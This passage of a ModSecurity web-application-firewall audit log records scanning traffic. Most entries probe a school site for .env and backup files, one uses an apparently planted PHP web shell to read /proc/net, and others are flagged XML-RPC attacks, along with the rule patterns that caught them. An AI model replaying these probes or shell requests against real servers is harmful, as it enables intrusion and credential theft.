"3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/wp/.env"] [unique_id "aE9JTR-kH31pk4mNbsVFMwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026573248411 657014 (- - -) Stopwatch2: 1750026573248411 657014; combined=1859, p1=359, p2=1400, p3=0, p4=0, p5=99, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --837ab53d-Z-- --6b7a0c0a-A-- [16/Jun/2025:03:59:34.885222 +0530] aE9JTol8S04UZ4l67-nkhwAAAAk 185.177.72.210 56230 127.0.0.1 7081 --6b7a0c0a-B-- GET /:5000/admin/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6b7a0c0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ad548b468a73bfeb59aa66939d1708011750026574; expires=Sun, 15 Jun 2025 23:29:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6b7a0c0a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/admin/.env.staging"] [unique_id "aE9JTol8S04UZ4l67-nkhwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026574236962 648322 (- - -) Stopwatch2: 1750026574236962 648322; combined=1596, p1=370, p2=1138, p3=0, p4=0, p5=87, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6b7a0c0a-Z-- --e8ec4e26-A-- [16/Jun/2025:03:59:43.781842 +0530] aE9JV7IOonfcVDbK8_brSgAAAAA 54.156.55.147 59006 127.0.0.1 7081 --e8ec4e26-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//proc/net&viewfile=//proc/net/udplite6 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.156.55.147 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --e8ec4e26-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3025 Connection: close Content-Type: text/html; charset=UTF-8 --e8ec4e26-H-- Message: Warning. Matched phrase "proc/net/udp" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/net/udp found within ARGS:viewfile: /proc/net/udplite6"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/net/udp" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/net/udp found within ARGS:viewfile: /proc/net/udplite6"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9JV7IOonfcVDbK8_brSgAAAAA"] Apache-Handler: application/x-httpd-php Stopwatch: 1750026583778116 3777 (- - -) Stopwatch2: 1750026583778116 3777; combined=1944, p1=341, p2=1496, p3=34, p4=24, p5=49, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8ec4e26-Z-- --64bea901-A-- [16/Jun/2025:03:59:46.835267 +0530] aE9JWn2GhYywD7zZgx4AegAAAAM 185.177.72.210 59112 127.0.0.1 7081 --64bea901-B-- GET /:5601/wp-admin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64bea901-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=21f610d603c08720b290a8b7934aaa751750026586; expires=Sun, 15 Jun 2025 23:29:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64bea901-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/wp-admin/.env"] [unique_id "aE9JWn2GhYywD7zZgx4AegAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026586158413 676916 (- - -) Stopwatch2: 1750026586158413 676916; combined=1971, p1=395, p2=1487, p3=0, p4=0, p5=89, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64bea901-Z-- --c0db3b03-A-- [16/Jun/2025:04:00:03.689131 +0530] aE9JahAGYpjnkyifC9YmkwAAAAU 128.199.112.101 36362 127.0.0.1 7081 --c0db3b03-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c0db3b03-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c0db3b03-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9JahAGYpjnkyifC9YmkwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026602725795 963408 (- - -) Stopwatch2: 1750026602725795 963408; combined=2758, p1=465, p2=1767, p3=59, p4=80, p5=238, sr=141, sw=149, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0db3b03-Z-- --bdccda1b-A-- [16/Jun/2025:04:00:07.443304 +0530] aE9Jbn2GhYywD7zZgx4AhQAAAAM 185.177.72.210 36532 127.0.0.1 7081 --bdccda1b-B-- GET /:9000/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdccda1b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5cdf426f9e6e54d058499d805fc6a3a21750026607; expires=Sun, 15 Jun 2025 23:30:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdccda1b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.suspected"] [unique_id "aE9Jbn2GhYywD7zZgx4AhQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026606764518 678850 (- - -) Stopwatch2: 1750026606764518 678850; combined=1784, p1=330, p2=1359, p3=0, p4=0, p5=95, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdccda1b-Z-- --028c7a30-A-- [16/Jun/2025:04:00:16.645625 +0530] aE9Jd4rLgrklqy57Kk2ifwAAAAg 185.177.72.210 48086 127.0.0.1 7081 --028c7a30-B-- GET /:5000/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --028c7a30-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=165edafeaf22fa950a70933987d6dcdb1750026616; expires=Sun, 15 Jun 2025 23:30:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --028c7a30-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.save"] [unique_id "aE9Jd4rLgrklqy57Kk2ifwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026615978222 667465 (- - -) Stopwatch2: 1750026615978222 667465; combined=1911, p1=353, p2=1462, p3=0, p4=0, p5=96, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --028c7a30-Z-- --b91e436e-A-- [16/Jun/2025:04:00:22.850738 +0530] aE9JforLgrklqy57Kk2iggAAAAg 185.177.72.210 56734 127.0.0.1 7081 --b91e436e-B-- GET /boxes/oracle-vagrant-boxes/ContainerRegistry/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b91e436e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=109b6561b63ad59d35314f608ecce64f1750026622; expires=Sun, 15 Jun 2025 23:30:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b91e436e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/boxes/oracle-vagrant-boxes/ContainerRegistry/.env"] [unique_id "aE9JforLgrklqy57Kk2iggAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026622203040 647763 (- - -) Stopwatch2: 1750026622203040 647763; combined=2372, p1=485, p2=1788, p3=0, p4=0, p5=98, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b91e436e-Z-- --c250551a-A-- [16/Jun/2025:04:00:23.870714 +0530] aE9Jfx-kH31pk4mNbsVFSwAAAAo 185.177.72.210 56792 127.0.0.1 7081 --c250551a-B-- GET /:10000/.env_bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c250551a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f86e72665919967b2ca8c8d4a0f68aa1750026623; expires=Sun, 15 Jun 2025 23:30:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c250551a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env_bak"] [unique_id "aE9Jfx-kH31pk4mNbsVFSwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026623196255 674545 (- - -) Stopwatch2: 1750026623196255 674545; combined=2054, p1=404, p2=1529, p3=0, p4=0, p5=121, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c250551a-Z-- --4ff9e51c-A-- [16/Jun/2025:04:00:30.243052 +0530] aE9JhYl8S04UZ4l67-nkowAAAAk 185.177.72.210 34026 127.0.0.1 7081 --4ff9e51c-B-- GET /:8008/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ff9e51c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f7b1bafbc122294f8d3f9c389ee3083d1750026630; expires=Sun, 15 Jun 2025 23:30:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ff9e51c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/symfony/.env"] [unique_id "aE9JhYl8S04UZ4l67-nkowAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026629568407 674717 (- - -) Stopwatch2: 1750026629568407 674717; combined=1671, p1=366, p2=1227, p3=0, p4=0, p5=78, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ff9e51c-Z-- --4c503503-A-- [16/Jun/2025:04:00:32.260661 +0530] aE9Jh4l8S04UZ4l67-nkpAAAAAk 185.177.72.210 34118 127.0.0.1 7081 --4c503503-B-- GET /:5601/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c503503-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=abb4c11df7c6374fb643a8290a943c661750026632; expires=Sun, 15 Jun 2025 23:30:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c503503-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/server/.env"] [unique_id "aE9Jh4l8S04UZ4l67-nkpAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026631559383 701346 (- - -) Stopwatch2: 1750026631559383 701346; combined=1643, p1=370, p2=1207, p3=0, p4=0, p5=65, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c503503-Z-- --db3ef538-A-- [16/Jun/2025:04:00:37.112250 +0530] aE9JjENwpNEMJppxC49YQAAAAAI 185.177.72.210 34460 127.0.0.1 7081 --db3ef538-B-- GET /env/template/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --db3ef538-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=55f6d706bcfe2ca020f0f447033ba3501750026636; expires=Sun, 15 Jun 2025 23:30:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --db3ef538-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/env/template/.env"] [unique_id "aE9JjENwpNEMJppxC49YQAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026636368854 743460 (- - -) Stopwatch2: 1750026636368854 743460; combined=1737, p1=385, p2=1244, p3=0, p4=0, p5=108, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db3ef538-Z-- --88f2061b-A-- [16/Jun/2025:04:00:45.111060 +0530] aE9JlPNXjUHq-Wm7C_8UmgAAAAQ 185.177.72.210 42184 127.0.0.1 7081 --88f2061b-B-- GET /:9000/crm/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --88f2061b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=92e8347aef925546d8009650babe9b281750026644; expires=Sun, 15 Jun 2025 23:30:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --88f2061b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/crm/.env"] [unique_id "aE9JlPNXjUHq-Wm7C_8UmgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026644362887 748247 (- - -) Stopwatch2: 1750026644362887 748247; combined=1859, p1=488, p2=1271, p3=0, p4=0, p5=100, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --88f2061b-Z-- --6e895e64-A-- [16/Jun/2025:04:00:47.233049 +0530] aE9Jlol8S04UZ4l67-nkrAAAAAk 185.177.72.210 42278 127.0.0.1 7081 --6e895e64-B-- GET /:8443/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6e895e64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dc2be3dbf1addc09ce3bdda6038789491750026647; expires=Sun, 15 Jun 2025 23:30:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6e895e64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/stats/.env"] [unique_id "aE9Jlol8S04UZ4l67-nkrAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750026646521535 711575 (- - -) Stopwatch2: 1750026646521535 711575; combined=1854, p1=357, p2=1409, p3=0, p4=0, p5=87, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e895e64-Z-- --0691970c-A-- [16/Jun/2025:04:00:50.548194 +0530] aE9JmbIOonfcVDbK8_bragAAAAA 185.177.72.210 48502 127.0.0.1 7081 --0691970c-B-- GET /:5000/configura.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0691970c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 